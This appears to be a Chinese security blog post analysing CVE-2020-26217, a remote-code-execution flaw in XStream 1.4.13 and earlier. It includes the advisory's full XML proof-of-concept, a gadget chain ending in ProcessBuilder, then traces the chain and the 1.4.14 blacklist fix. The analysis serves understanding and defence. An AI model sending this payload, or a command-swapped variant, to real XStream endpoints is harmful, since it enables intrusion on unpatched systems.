引言
近期,XStream发布了关于CVE-2020-26217的公告,通过该漏洞攻击者可发送恶意构造的xml,在受影响版本(<=1.4.13)的XStream上直接RCE。
XStream反序列化原理
与传统的Java反序列化不同,XStream反序列化的触发不依靠readObject
,而是使用Converter
(转换器)中的unmarshal
。而Converter根据源码的注释,其用途为对象与xml文本之间的相互转换。
下面用一个简单的例子来演示,首先我们定义一个User
类
public class User {
public String username;
}
然后使用XStream加载
XStream xStream = new XStream();
User user = (User)xStream.fromXML(new File("/Users/dinfinite/IdeaProjects/xstream/src/main/resources/payloads/user.xml"));
由于User类并未在Converter
的转换类型中,因此使用ReflectionConverter
进行unmarshal
,该转换器判断能否转换的逻辑如下,即类存在且可访问
调用unmarshal
将xml还原为User
对象,完成反序列化的过程
XStream历史漏洞
在XStream过往的漏洞中,利用的核心为DynamicProxy
类和EventHandler
类,当存在dynamic-proxy
标签时,会使用DynamicProxyConverter
进行unmarshal
,该操作会构造一个由用户指定handler
的对应代理对象。
而恰好EventHandler
的invoke
函数支持执行任意方法(根据传入的参数)
因此XStream官方的修复方式为,实现了一个类为InternalBlackList
(黑名单转换器),当属性值为java.beans.EventHandler
时,抛出异常,因此基于该类型的poc均失效
漏洞复现
以下为官方公告中给出的POC
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>open</string>
<string>./</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
通过XStream加载上述XML,成功弹出计算器
漏洞分析
由于该漏洞触发链较长,为了便于理解,将整体的利用链分成四部分。
入口
由于DynamicProxy
类和EventHandler
类的组合拳失效,因此这次漏洞并没有利用动态代理转换器,漏洞的触发点在MapConverter
中,其unmarshal
函数如下
可以看到,传入的XML文本(转换为reader),被传递到了填充map的函数中,进一步跟进,流程走到了putCurrentEntryIntoMap
函数中,该函数的作用为将对应的key和value(从XML中解析,对应POC中的<jdk.nashorn.internal.objects.NativeString>
和<string>
)放到HashMap中,由此触发HashMap的put
方法,进入纽带1阶段
纽带1
由于在Java中HashMap需要计算HashCode,因此作为key的jdk.nashorn.internal.objects.NativeString
,会调用其hashCode
方法
纽带2
由于jdk.nashorn.internal.objects.NativeString
的hashCode
会先调用getStringValue()
,它调用当前类的属性value
的toString
方法,由于value
为com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data
类,它的toString
会触发自身的get
函数
get
函数调用readForm
读取自身的DataSource
中的InputStream
终点方法
在读取的过程中,会遍历InputStream
中的子元素
而javax.swing.MultiUIDefaultsEnumerator
类的nextElement
,会调用自身迭代器的next
函数,其next
函数中额外调用了advance
函数
advance
函数额外调用了filter
属性的filter
方法
javax.imageio.ContainsFilter
类的filter
方法如下
可以看到,只要method
以及elt
可控,即可执行任意类任意方法,实现RCE。而method
和elt
在先前的ReflectionConverter
中,已经填充完毕,对应POC中的<filter>
和<iter>
元素。
漏洞修复
其实官方早在1.4.7
的时候,就加入了针对XStream自身的安全框架
然而框架本身并未提供任何默认策略,需要用户手动调用addPermission
进行配置,因此,在1.4.13
之前的版本,其防御手段都是依靠修改Converter
,包括InternalBlackList
和ReflectionConverter
,在转换时将其拦截。在1.4.13
中,默认加入了EventHandler
的黑名单
在1.4.14
中,加入了java.lang.ProcessBuilder
和javax.imageio.ImageIO$ContainsFilter
的黑名单
当我们在1.4.14
中再次执行POC时,会发现抛出了ForbiddenClassException
异常。
跟踪其调用栈,发现SecurityMapper
会存取到Converter
当中,当Converter
试图获取标签的类时,会先遍历自身的Mapper
(其中包括SecurityMapper
)
此时假设匹配到黑名单类,直接抛出异常。